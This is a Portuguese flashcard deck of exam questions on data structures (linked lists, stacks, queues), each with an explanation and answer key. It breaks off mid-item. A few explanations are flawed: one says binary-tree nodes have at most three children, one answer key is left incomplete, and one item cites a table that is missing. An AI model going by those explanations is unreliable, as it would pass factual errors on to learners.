  1. (CESPE - 2012 - Banco da Amazônia - Técnico Científico - Administração de Dados) As listas duplamente encadeadas diferenciam-se das listas simplesmente encadeadas pelo fato de, na
    primeira, os nós da lista formarem um anel com o último elemento ligado ao primeiro da lista.
A

Não, a diferença é que Listas Duplamente Encadeadas possuem dois ponteiros, que apontam para o nó sucessor e para o nó predecessor e Listas Simplesmente Encadeadas possuem apenas um ponteiro, que aponta para o nó sucessor.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
75
Q
  1. (FCC - 2012 - TRE-SP - Analista Judiciário - Análise de Sistemas - E) Numa lista singularmente encadeada, para acessar o último nodo é necessário partir do primeiro e ir seguindo os campos de ligação até chegar ao final da lista.
A

Perfeito! Se é uma lista singularmente encadeada, é necessário percorrer cada elemento um-a-um até chegar ao final da lista.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
76
Q
  1. (CESPE - 2011 - EBC - Analista - Engenharia de Software) Uma lista é uma coleção de elementos do mesmo tipo dispostos linearmente, que podem ou não seguir determinada organização. As listas
    podem ser dos seguintes tipos: de encadeamento simples, duplamente encadeadas e ordenadas.
A

Uma lista é, por natureza, heterogênea, i.e., seus elementos são compostos por tipos de dados primitivos diferentes. A questão afirmou que a lista é uma coleção de elementos do mesmo tipo. E ela está certa, veja só o peguinha da questão:

Eu crio um tipo composto por dois tipos de dados diferentes: tipoEstrategia = {curso: caractere; duracao: inteiro}. Observe que o tipo tipoEstrategia é composto por tipos de dados primitivos diferentes (caractere e inteiro).

Agora eu crio uma lista ListaEstrategia: tipoEstrategia. Veja que todos os elementos dessa lista terão o mesmo tipo (tipoEstrategia). Em outras palavras: a Lista Heterogênea é composta por elementos do
mesmo tipo que, em geral, são compostos por mais de um tipo primitivo.

Além disso, as listas podem ser simplesmente encadeadas, duplamente encadeadas e ordenadas. E ainda podem ser circulares. Observem que alguns autores consideram Listas Ordenadas como um tipo de lista! Como, professor? Ela é uma lista em que seus elementos são ordenados (crescente ou decrescente).

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
77
Q
  1. (CESPE - 2009 - ANAC - Técnico Administrativo - Informática) Em uma lista circular duplamente encadeada, cada nó aponta para dois outros nós da lista, um anterior e um posterior.
A

Perfeito! Há dois ponteiros: uma para o nó anterior e um para o nó posterior.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
78
Q
  1. (CESPE - 2008 - TRT - 5ª Região (BA) - Técnico Judiciário - Tecnologia da Informação) A principal característica de uma lista encadeada é o fato de o último elemento da lista apontar para o elemento imediatamente anterior.
A

Não, o último elemento da lista não aponta para nenhum outro nó em uma lista não-circular.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
79
Q
  1. (CESPE - 2009 - TCE-AC - Analista de Controle Externo - Processamentos de Dados)

Uma lista encadeada é uma coleção de nodos que, juntos, formam uma ordem linear. Se é possível os nodos se deslocarem em ambas as direções na lista, diz-se que se trata de uma lista simplesmente encadeada.

A

Se é possível os nodos se deslocarem em ambas as direções na lista, diz-se que se trata de uma lista duplamente encadeada.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
80
Q
  1. (CESPE - 2008 – HEMOBRÁS – Técnico de Informática)

Uma estrutura do tipo lista, em que é desejável percorrer o seu conteúdo nas duas direções indiferentemente, é denominado lista duplamente encadeada.

A

Perfeito, é exatamente isso!

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
81
Q
  1. (CESPE - 2010 – TRE/MT – Analista de Sistemas – C)

Uma lista duplamente encadeada é uma lista em que o seu último elemento referencia o primeiro.

A

Não, isso se trata de uma Lista Circular!

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
82
Q
  1. (CESPE - 2006 – SGA/AC – Analista de Sistemas)

O principal problema da alocação por lista encadeada é a fragmentação.

A

Não! Em geral, a alocação por lista encadeada elimina a fragmentação.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
83
Q
  1. (CESPE - 2008 – MCT – Analista de Sistemas)

O armazenamento de arquivos em disco pode ser feito por meio de uma lista encadeada, em que os blocos de disco são ligados por ponteiros. A utilização de lista encadeada elimina completamente o problema de fragmentação interna.

A

Não, ela elimina a fragmentação externa!

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
84
Q
  1. (CESPE - 2009 – FINEP – Analista de Sistemas)

Uma lista encadeada é uma representação de objetos na memória do computador que consiste de uma sequência de células em que:

a) cada célula contém apenas o endereço da célula seguinte.

b) cada célula contém um objeto e o tipo de dados da célula seguinte.

c) o último elemento da sequência aponta para o próximo objeto que normalmente possui o
endereço físico como not null.

d) cada célula contém um objeto de algum tipo e o endereço da célula seguinte.

e) a primeira célula contém o endereço da última célula.

A

Cada célula contém um objeto de algum tipo e o endereço da célula seguinte!

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
85
Q
  1. (CESPE - 2010 – BASA – Analista de Sistemas)

Em uma lista encadeada, o tempo de acesso a qualquer um de seus elementos é constante e independente do tamanho da estrutura de dados.

A

Claro que não! Em uma busca sequencial, o tempo de acesso é proporcional ao tamanho da estrutura de dados, i.e., quanto mais ao final da lista, maior o tempo de acesso!

Por que, professor? Porque a lista é acessada sequencialmente (ou seja, é preciso percorrer elemento por elemento) e, não, diretamente (ou
seja, pode-se acessar de modo direto).

Um vetor tem acesso direto, portanto seu tempo de acesso é igual independentemente do tamanho da estrutura.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
86
Q
  1. (CESPE - 2010 – INMETRO – Analista de Sistemas – C) Considere que Roberto tenha feito uso de uma lista encadeada simples para programar o armazenamento e o posterior acesso aos dados acerca dos equipamentos instalados em sua empresa.

Considere, ainda, que, após realizar uma consulta acerca do equipamento X, Roberto precisou acessar outro equipamento Y que se encontrava, nessa lista, em posição anterior ao equipamento X.

Nessa situação, pela forma como os ponteiros são implementados em uma lista encadeada simples, o algoritmo usado por Roberto realizou a consulta ao equipamento Y sem reiniciar a pesquisa do começo da lista.

A

Não! Infelizmente, ele teve que reiniciar a pesquisa a partir do primeiro elemento da lista, na medida em que ele não pode voltar.

Por que, professor? Porque se trata de uma lista encadeada simples e, não, dupla.

Portanto, a lista só é percorrida em uma única direção.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
87
Q
  1. (FCC - 2003 – TRE/AM – Analista de Sistemas) Os dados contidos em uma lista encadeada estão:

a) ordenados seqüencialmente.

b) sem ordem lógica ou física alguma.

c) em ordem física e não, necessariamente, em ordem lógica.

d) em ordem lógica e, necessariamente, em ordem física.

e) em ordem lógica e não, necessariamente, em ordem física.

A

A Ordem Física é sua disposição na memória do computador e a Ordem Lógica é como ela pode ser lida e entendida.

Ora, a ordem em que ela se encontra na memória pouco importa, visto que cada sistema
operacional e cada sistema de arquivos tem sua maneira.

Portanto, trata-se da ordem lógica e, não,
necessariamente física.

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
88
Q
  1. (FCC - 2010 – DPE/SP – Analista de Sistemas)

Uma estrutura de dados que possui três campos: dois ponteiros e campo de informação denomina-se:

a) lista encadeada dupla.
b) Lista encadeada simples.
c) pilha.
d) fila.
e) vetor.

A

Trata-se da Lista Encadeada Dupla: dois ponteiros (Ant e Prox) e um campo de informação.

Gabarito: Letra A

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
89
Q
  1. (CESPE - 2010 – TRE/MT – Analista de Sistemas)

O algoritmo para inclusão de elementos em uma pilha é usado sem nenhuma alteração para incluir elementos em uma lista.

A

Galera… uma pilha pode ser implementada por meio de uma lista! Ademais, o algoritmo para inclusão de elementos de ambas necessita do primeiro elemento (ou topo).

Portanto, questão correta!

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
90
Q
  1. (FGV – 2022 – PC-AM) Assinale as operações características de uma estrutura de dados do tipo pilha (stack).

a) IMPORT, EXPORT.
b) INPUT, OUPUT.
c) INSERT, REMOVE.
d) PUSH, POP.
e) READ, READLN.

A

Push e pop são duas operações de uma pilha:

● Push: inserir um elemento no topo da pilha;
●Pop: remover o último elemento inserido na pilha.

Quanto aos demais itens:

● IMPORT, EXPORT: operações de arquivos.

● INPUT, OUPUT: entrada e saída de dados. Não tem a ver com pilhas.

● INSERT, REMOVE: inserir e remover. Embora na pilha tenhamos inserção e remoção, estas operações, com este nome, estão associadas a listas.

● READ, READLN: operações para a entrada de dados.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
91
Q
  1. (FGV – 2022 – TJDFT)

Júlio está desenvolvendo uma aplicação e precisa implementar um mecanismo de desfazer/refazer de um editor de texto utilizando o algoritmo LIFO (Last In, First Out).

Para implementar o algoritmo LIFO, Júlio deve usar a estrutura de dados:

a) fila;
b) pilha;
c) árvore;
d) nó folha;
e) tabela hash.

A

Vamos analisar item a item:

a) fila;
A fila segue a regra FIFO (first-in first-out), ou seja, o primeiro a entrar é o primeiro a sair. Falso.

b) pilha;
A pilha segue a regra LIFO (last-in first-out), ou seja, o último a entrar é o primeiro a sair. A operação de inserir um valor é o push, e a operação de remover o último inserido é o pop. Verdadeiro.

c) árvore;
Árvores não seguem necessariamente regras de inserção, além de não serem estruturas sequenciais. Falso.

d) nó folha;
Nó folha é o nó de uma árvore que não possui filhos. Não tem nada a ver com o enunciado. Falso.

e) tabela hash.
Tabelas hash não seguem regra LIFO. Falso.

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
92
Q
  1. (CESPE/CEBRASPE – 2022 – DPE-RO)

Em um sistema operacional, a estrutura de dados utilizada para organizar chamadas de funções recursivas por meio da inserção ou remoção de elementos via operações como push e pop é denominada

a) lista estática.
b) fila.
c) hash.
d) pilha.
e) lista dinâmica.

A

Push e pop são duas operações de uma pilha:

● Push: inserir um elemento no topo da pilha;
● Pop: remover o último elemento inserido na pilha.
A pilha leva em consideração o padrão LIFO, ou seja, last-in first-out, ou seja, o último a entrar é o primeiro a sair.
Por isso, suas duas operações são push e pop.

Quanto aos demais itens:
● lista estática: uma lista em que o número de elementos é fixo e pré-alocado.
● fila: segue o padrão FIFO, ou seja, first-in first-out, ou seja, o primeiro a entrar é o primeiro a sair.
● Hash: uma estrutura de dados para inserção, busca e remoção de forma rápida.
● lista dinâmica: uma lista em que o número de elementos é alterado dinamicamente enquanto o programa executa.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
93
Q
  1. (UFV – 2022 – UFV-MG)

Considere as afirmativas a seguir sobre estrutura de dados:

I. Uma estrutura de dados heterogênea envolve a utilização de mais de um tipo básico de dado.

II. Uma lista encadeada pode ser definida como uma sequência de células em que cada célula contém um elemento e o endereço da célula seguinte.

III. Uma pilha é uma estrutura de dados baseada no princípio “First In First Out” (FIFO).

IV. Filas e pilhas são estruturas de dados lineares; o organograma de uma empresa pode ser representado por uma estrutura de árvore.

Está CORRETO o que se afirma, apenas, em:

a) I e II.
b) I e III.
c) I, II e IV.
d) II, III e IV.

A

Vamos analisar item a item:

I. Uma estrutura de dados heterogênea envolve a utilização de mais de um tipo básico de dado.
Isso mesmo. Significa que cada elemento da estrutura de dados pode ter mais de um tipo básico de dado. Por exemplo, um inteiro, uma string, um booleano, etc. Verdadeiro.

II. Uma lista encadeada pode ser definida como uma sequência de células em que cada célula contém um elemento e o endereço da célula seguinte.
Essa é a definição de lista encadeada simples. Certo.

III. Uma pilha é uma estrutura de dados baseada no princípio “First In First Out” (FIFO).
Na verdade, a pilha segue a estrutura de dados com a regra LIFO (last-in first-out), ou seja, o último a entrar é o primeiro a sair. Falso.

IV. Filas e pilhas são estruturas de dados lineares; o organograma de uma empresa pode ser representado por uma estrutura de árvore.
Filas e pilhas são estruturas lineares de fato, e uma árvore é uma estrutura hierárquica, e, por isso, um organograma de uma empresa pode ser representado por ela. Verdadeiro.

Corretas: I, II e IV.

Gabarito: Letra C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
94
Q
  1. (IBFC – 2022 – DPE-MT) Assinale a alternativa que apresenta a relação entre as duas estruturas de dados da coluna da esquerda com as respectivas características técnicas da coluna da direita.

Assinale a alternativa correta.
a) 1BC - 2AD
b) 1AD - 2BC
c) 1BD - 2AC
d) 1AC - 2BD

A

Uma pilha sege a regra LIFO (last-in first-out), ou seja, o elemento inserido por último é o primeiro elemento a sair da
lista. Portanto, 1-B.

A pilha, também precisa de apenas um ponteiro, que aponta para o topo da pilha. Portanto, 1-BC.

Já a fila segue a regra FIFO (first-in first-out), ou seja, o elemento inserido primeiro é o primeiro a sair da lista.
Portanto, 2-A.

A fila também precisa de dois ponteiros para ser acessada, já que suas operações envolvem adicionar sempre os elementos no final, e remover do início. Portanto, 2-AD.

Gabarito: Letra A

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
95
Q
  1. (FUNDATEC – 2022 – IPE Saúde) Uma sequência de valores é armazenada em uma estrutura de dados, onde novos elementos são inseridos no final da lista e removidos também do final da mesma. Dessa forma, qualquer elemento só pode ser removido quando todos os elementos inseridos após ele também forem removidos. Essa descrição caracteriza uma estrutura de dados conhecida como:

a) Lista duplamente encadeada.
b) Lista simplesmente encadeada.
c) Fila.
d) Pilha.
e) Árvore binária.

A

Precisamos considerar dois pontos importantes:

● Os elementos são apenas inseridos ao final da lista.

● Os elementos também são removidos apenas no fim da lista.

● Os elementos só podem ser removidos se todos os inseridos após ele tiverem sido removidos. Ou seja, o último a ser inserido é o primeiro a ser removido, ou seja, regra LIFO.
A estrutura de dado que segue a regra LIFO é a pilha. Na pilha, temos a operação push, que é inserir um elemento no fim da lista; e a operação pop, que é remover o elemento do fim da lista. E temos a regra LIFO.

Analisemos as demais estruturas de dados:

● Lista duplamente encadeada: cada nó tem uma referência ao nó anterior e ao próximo, exceto o primeiro e o último. A inserção e remoção é livre.

● Lista simplesmente encadeada: cada nó tem uma referência ao próximo nó, exceto o último. A inserção e remoção é livre.

● Fila: segue o padrão FIFO (first-in first-out), ou seja, o primeiro a entrar é o primeiro a sair. Além disso, no caso da fila, os elementos são sempre adicionados no fim, e removidos do início da lista.

● Árvore binária: uma árvore binária possui nós com no máximo dois filhos. Não seguem as regras do enunciado.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
96
Q
  1. (FGV – 2021 – FUNSAÚDE-CE) As operações POP e PUSH aplicáveis às estruturas de dados são conhecidas como

a) árvores binárias.
b) bitmaps.
c) hashtables.
d) listas encadeadas.
e) pilhas.

A

Quando se fala em operações pop e push, só podemos estar falando de pilhas.

As pilhas segrem a regra LIFO (last-in first-out), ou seja, o último a entrar é o primeiro a sair. Isso faz com que tenha duas operações:

● PUSH: inclui um elemento na pilha.
● POP: retira o último elemento incluído da pilha.

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
97
Q
  1. (CESPE/CEBRASPE – 2018 – ABIN) Julgue o item subsequente, relativo à lógica de programação.

Pilha é uma estrutura de dados em que o último elemento a ser inserido será o primeiro a ser retirado.

A

A pilha é uma estrutura de dados que usa o princípio LIFO (Last In, First Out), que significa justamente “último a entrar, primeiro a sair”.

Gabarito: Certo

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
98
Q
  1. (FGV – 2018 – AL-RO) Considere uma pilha de latas de sardinhas na prateleira de um supermercado.

Assinale a estrutura de dados que mais se assemelha ao modo como essas latas são manuseadas.

a) Array.
b) Binary tree.
c) Hashing.
d) Linked list.
e) Stack.

A

Essa é praticamente uma questão de inglês… Precisamos saber o que cada uma dessas estruturas significa:

a) Array
Significa vetor. É uma sequência de elementos de um determinado tipo, em posições sequenciais de memória. Falso.

b) Binary tree.
Árvore binária. É uma árvore em que cada nó pode ter, no máximo, 3 filhos. Falso.

c) Hashing.
Técnica para mapear conjuntos de dados em um conjunto de índices de um array, permitindo rápida busca dos dados. Falso.

d) Linked list.
Lista encadeada. Uma estrutura de dados em que cada elemento possui uma referência ao próximo elemento da lista. Falso.

e) Stack.
Também conhecida como pilha. Veja só que o enunciado fala justamente sobre pilha de sardinhas! É uma estrutura em que vale a regra LIFO (last-in first-out), ou seja, o último a entrar é o primeiro a sair. Verdadeiro.

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
99
Q
  1. (CESPE - 2011 - FUB - Analista de Tecnologia da Informação - Específicos)

As pilhas são listas encadeadas cujos elementos são retirados e acrescentados sempre ao final, enquanto as filas são listas encadeadas cujos elementos são retirados e acrescentados sempre no início.

A

Bem… o que é o final de uma Pilha? Pois é, não se sabe! O que existe é o Topo da Pilha, de onde sempre são retirados e acrescentados elementos. Em Filas, elementos são retirados do início e acrescentados no final.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
100
Q
  1. (CESPE - 2013 - INPI - Analista de Planejamento - Desenvolvimento e Manutenção de Sistemas)

Na estrutura de dados do tipo lista, todo elemento novo que é introduzido na pilha torna-se o elemento do topo.

A

Que questão confusa!

Vamos comigo: vocês sabem muito bem que filas e pilhas são considerados espécies de listas.

A questão inicialmente fala de uma lista, mas depois ela menciona uma pilha – podemos inferir, então, que se trata de uma lista do tipo pilha. Em uma pilha, todo elemento novo que é introduzido tornase o elemento do topo, logo… questão correta!

Bem, esse foi o Gabarito Preliminar, mas a banca mudou de opinião e, no Gabarito Definitivo, permaneceu como errada.

E a justificativa dela foi: “A ausência de especificação do tipo de lista no item torna correta ainformação nele apresentada, razão pela qual se opta pela alteração de seu gabarito”.

Vejam que bizarro: se torna correta a informação apresentada, o gabarito definitivo deveria ser C e, não, E.

Além disso, a questão informa em sua segunda parte que se trata de uma pilha. Logo, não há que se falar em “ausência de especificação do tipo de lista”.

Enfim, questão péssima, horrível e mal redigida :(

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
101
Q
  1. (CESPE - 2012 - TJ-RO - Analista Judiciário - Analista de Sistemas Suporte – E)

Visitas a sítios armazenadas em um navegador na ordem last-in-first-out é um exemplo de lista.

A

Não! Last-In-First-Out (LIFO) é um exemplo de Pilha! Cuidado, pilhas podem ser implementadas como listas, mas esse não é o foco da questão.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
102
Q
  1. (ESAF - 2013 - DNIT - Analista Administrativo - Tecnologia da Informação) Assinale a opção correta relativa às operações básicas suportadas por pilhas.

a) Push: insere um novo elemento no final da pilha.

b) Pop: adiciona elementos ao topo da pilha.

c) Pull: insere um novo elemento no interior da pilha.

d) Top: transfere o último elemento para o topo da pilha.

e) Top: acessa o elemento posicionado no topo da pilha.

A

(a) Não, é no topo;

(b) Não, remove do topo;

(c) Não, não existe;

(d) Não, simplesmente acessa e consulta o
elemento do topo;

(e) Perfeito! Gabarito: E

Gabarito: Letra

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
103
Q
  1. (FCC - 2012 – TST - Analista de Sistemas – C) As pilhas e as filas são estruturas de dados essenciais para os sistemas computacionais. É correto afirmar que a pilha é conhecida como lista FIFO - First In First Out.
A

Não! Pilha é LIFO e Fila é FIFO.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
104
Q
  1. (FCC - 2012 – TRE/CE - Analista de Sistemas) Sobre pilhas é correto afirmar:

a) Uma lista LIFO (Last-In/First-Out) é uma estrutura estática, ou seja, é uma coleção que não pode aumentar e diminuir durante sua existência.

b) Os elementos na pilha são sempre removidos na mesma ordem em que foram inseridos.

c) Uma pilha suporta apenas duas operações básicas, tradicionalmente denominadas push (insere um novo elemento no topo da pilha) e pop (remove um elemento do topo da pilha).

d) Cada vez que um novo elemento deve ser inserido na pilha, ele é colocado no seu topo e, em qualquer momento, apenas aquele posicionado no topo da pilha pode ser removido.

e) Sendo P uma pilha e x um elemento qualquer, a operação Push(P,x) diminui o tamanho da pilha P, removendo o elemento x do seu topo.

A

(a) Não, é uma estrutura dinâmica;

(b) Não, é na ordem inversa (último a entrar é o primeiro a sair);

(c) Não, há também Top ou Check, que acessar e consulta o elemento do topo;

(e) Push é a operação de inserção de novos elementos na pilha, portanto aumenta seu tamanho adicionando o elemento x no topo.

E a letra D? Vamos lá! Sabemos que uma pilha é um tipo de lista - o que muda é apenas a perspectiva.

Como assim? Eu vejo um monte de elementos em sequência. Ora, se eu coloco uma regra em que o primeiro elemento a entrar é o primeiro a sair, chamamos essa lista de fila; se eu coloco uma regra em que o primeiro elemento a entrar é o último a sair, chamamos essa lista de pilha.

Ok! Dito isso, o algoritmo é exatamente o mesmo, eu vou simplesmente mudar a perspectiva e a minha visão sobre a estrutura. Bacana?

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
105
Q
  1. (CESPE - 2011 - EBC - Analista - Engenharia de Software)

As pilhas, também conhecidas como listas LIFO ou PEPS, são listas lineares em que todas as operações de inserção e remoção de elementos são feitas por um único extremo da lista, denominado topo.

A

Não! LIFO é similar a UEPS (Último a Entrar, Primeiro a Sair). PEPS refere-se a Primeiro a Entrar, Primeiro aSair, ou seja, FIFO.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
106
Q
  1. (VUNESP - 2011 - TJM-SP - Analista de Sistemas - Judiciário)

Lista do tipo LIFO (Last in, First Out) e lista do tipo FIFO (Firstin,First Out) são, respectivamente, características das estruturas de dados denominadas:

a) Fila e Pilha.
b) Pilha e Fila.
c) Grafo e Árvore.
d) Árvore e Grafo.
e) Árvore Binária e Árvore Ternária.

A

E aí, já está automático para responder? Tem que ser automática: Pilha (LIFO) e Fila (FIFO).

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
107
Q
  1. (CESPE - 2010 - Banco da Amazônia - Técnico Científico - Tecnologia da Informação - Arquitetura de Tecnologia)

A definição da estrutura pilha permite a inserção e a eliminação de itens, de modo que
uma pilha é um objeto dinâmico, cujo tamanho pode variar constantemente.

A

Essa questão é polêmica, porque é inevitável pensar em Pilhas Sequenciais (implementadas por vetores estáticos)!

No entanto, é comum que as bancas tratem por padrão Pilha como Pilha Encadeada (implementadas por listas dinâmicas). Dessa forma, a questão está perfeita!

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
108
Q
  1. (CESPE - 2010 - Banco da Amazônia - Técnico Científico - Tecnologia da Informação - Administração de Dados)

Na representação física de uma pilha sequencial, é necessário uso de uma variável ponteiro externa que indique a extremidade da lista linear onde ocorrem as operações de inserção e retirada de nós.

A

As Pilhas oferecem três operações básicas: push, que insere um novo elemento no topo da pilha; pop, que remove um elemento do topo da pilha; e top (também conhecida como check), que acessa e consulta o elemento do topo da pilha.

Pilhas podem ser implementadas por meio de Vetores (Pilha Sequencial - Alocação Estática de Memória) ou Listas (Pilha Encadeada - Alocação Dinâmica de Memória).

Conforme vimos em aula, a questão trata de uma Pilha Sequencial (i.e., implementada por meio de Vetores). Dessa forma, não é necessário o uso de ponteiros – esse seria o caso de uma Pilha Encadeada.

Eu posso realmente dizer que é suficiente, mas não posso afirmar que é necessária a utilização de um ponteiro externo. Eu até poderia dizer que é necessário o uso de um indicador, mas ele também não necessariamente será um ponteiro.

Logo, discordo do gabarito!

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
109
Q
  1. (CESPE - 2009 - ANAC - Técnico Administrativo - Informática)

As operações de inserir e retirar sempre
afetam a base de uma pilha.

A

Não, sempre afetam o topo da pilha!

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
110
Q
  1. (FCC - 2009 - TRT - 16ª REGIÃO (MA) - Técnico Judiciário - Tecnologia da Informação) Pilha é uma estrutura de dados:

a) cujo acesso aos seus elementos segue tanto a lógica LIFO quanto a FIFO.

b) cujo acesso aos seus elementos ocorre de forma aleatória.

c) que pode ser implementada somente por meio de vetores.

d) que pode ser implementada somente por meio de listas.

e) cujo acesso aos seus elementos segue a lógica LIFO, apenas.

A

(a) Não, somente LIFO;

(b) Não, somente pelo Topo;

(c) Não, pode ser por listas;

(d) Não, pode ser por vetores;

(e) Perfeito, é exatamente isso.

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
111
Q
  1. (CESPE - 2004 – STJ – Analista de Sistemas)

Em geral, em uma pilha só se admite ter acesso ao elemento localizado em seu topo. Isso se adapta perfeitamente à característica das seqüências em que só o primeiro componente é diretamente acessível.

A

Perfeito, é exatamente isso – muda-se apenas a perspectiva!

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
112
Q
  1. (CESPE - 2010 – TRE/MT - Analista de Sistemas – A)

O tipo nó é inadequado para implementar
estruturas de dados do tipo pilha.

A

Não! Uma pilha pode ser implementada por meio de um vetor ou de uma lista. Nesse último caso, temos tipos nós!

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
113
Q
  1. (FGV – 2015 – DPE/MT – Analista de Sistemas) Assinale a opção que apresenta a estrutura de dados na qual o primeiro elemento inserido é o último a ser removido.

a) Árvore
b) Fila
c) Pilha
d) Grafo
e) Tabela de dispersão

A

Também conhecida como Lista LIFO (Last In First Out), basta lembrar de uma pilha de pratos esperando para serem lavados, i.e., o último a entrar é o primeiro a sair.

A ordem em que os pratos são retirados da
pilha é o oposto da ordem em que eles são colocados sobre a pilha e, como consequência, apenas o prato do topo da pilha está acessível.

Conforme vimos em aula, trata-se da Pilha.

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
114
Q
  1. (FCC – 2012 – MPE/AP – Técnico Ministerial - Informática) Nas estruturas de dados,

a) devido às características das operações da fila, o primeiro elemento a ser inserido será o último a ser retirado. Estruturas desse tipo são conhecidas como LIFO.

b) as pilhas são utilizadas para controlar o acesso de arquivos que concorrem a uma única impressora.

c) a fila é uma lista linear na qual as operações de inserção e retirada ocorrem apenas no início da lista.

d) a pilha é uma lista linear na qual as operações de inserção e retirada são efetuadas apenas no seu topo.

e) devido às características das operações da pilha, o último elemento a ser inserido será o último a ser retirado. Estruturas desse tipo são conhecidas como FIFO.

A

(a) as filas não são LIFO, mas sim FIFO, ou seja, o primeiro elemento da fila será, na verdade, o primeiro a ser retirado. Só pensarmos numa fila de banco, se alguém chega por último e é atendido primeiro, ficaria bem bravo, e vocês?? :D Item errado;

(b) os trabalhos que chegam a uma impressora devem ser do tipo FIFO, ou seja, o primeiro trabalho enviado deve ser o primeiro a ser impresso. Item errado;

(c) na fila os elementos são incluídos numa das extremidades e retirados da outra. Item errado;

(d) na pilha as operações de inclusão na pilha quanto de retirada acontecem numa mesma extremidade. A extremidade escolhida é o topo da pilha. Item certo;

(e) na verdade essas características são das filas. Item errado.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
115
Q
  1. (IBFC – 2022 – AFEAM) Assinale, das alternativas abaixo, a única que identifica respectivamente uma Estrutura de Dados do tipo FIFO (First In, First Out) e uma outra com a Estrutura de dados do tipo LIFO (Last In, First Out):

a) lista – vetor
b) pilha – fila
c) vetor – lista
d) fila - pilha

A

Uma estrutura que segue a regra de dados FIFO (first-in first-out), ou seja, o primeiro a entrar é o primeiro a sair, é a fila.

Já a estrutura que segue a regra de dados LIFO (last-in first-out), ou seja, o último a entrar é o primeiro a sair, é uma pilha.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
116
Q
  1. (IF-TO – 2022 – IF-TO) Em estrutura de dados os conceitos de FILAS e PILHAS são usados para
    implementar diversos recursos computacionais que vão desde compiladores e interpretadores a mecanismos usados nas linguagens de programação para auxiliar os desenvolvedores no dia a dia.

Sobre essas estruturas, quais das definições abaixo são corretas?

a) Nas FILAS é usado o princípio do primeiro a entrar é o último a sair, já as PILHAS obedecem a regra do primeiro a entrar é o último a sair.

b) Nas FILAS é usado o princípio do primeiro a entrar é o primeiro a sair, já as PILHAS obedecem a regra do primeiro a entrar é o primeiro a sair.

c) Nas FILAS é usado o princípio do segundo a entrar é o primeiro a sair, já as PILHAS obedecem a regra do último a entrar é o último a sair.

d) Nas FILAS é usado o princípio do primeiro a entrar é o primeiro a sair, já as PILHAS obedecem a regra do primeiro a entrar é o último a sair.

e) Nas FILAS é usado o princípio do primeiro a entrar é o segundo a sair, já as PILHAS obedecem a regra do segundo a entrar é o terceiro a sair.

A

As filas seguem o padrão FIFO (first-in first-out), ou seja, o primeiro a entrar é o primeiro a sair.

Já as pilhas seguem o padrão LIFO (last-in first-out), ou seja, o último a entrar é o primeiro a sair.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
117
Q
  1. (UFRPE – 2022 – UFRPE) Sobre algoritmos e estrutura de dados, assinale a afirmativa correta.

a) Listas encadeadas ou ligadas são estruturas de dados estáticas, o que significa que o número de nós não pode ser modificado durante a execução do programa.

b) Pilhas são estruturas de dados do tipo FIFO (first-in first-out), em que o primeiro elemento a ser inserido será o primeiro a ser retirado.

c) Árvores são estruturas de dados do tipo FIFO (first-in first-out), em que o primeiro elemento a ser inserido será o primeiro a ser retirado.

d) Filas podem ser implementadas em listas encadeadas ou em vetores.

e) Pilhas só podem ser implementadas em listas encadeadas.

A

Vamos analisar item a item:

a) Listas encadeadas ou ligadas são estruturas de dados estáticas, o que significa que o número de nós não pode ser modificado durante a execução do programa.
Não são estáticas, mas, sim, dinâmicas: havendo memória livre, podem ser expandidas ou reduzidas conforme a necessidade. Falso.

b) Pilhas são estruturas de dados do tipo FIFO (first-in first-out), em que o primeiro elemento a ser inserido será o primeiro a ser retirado.
Não, pilhas são LIFO (last-in first-out), ou seja, o último a entrar é o primeiro a sair. Falso.

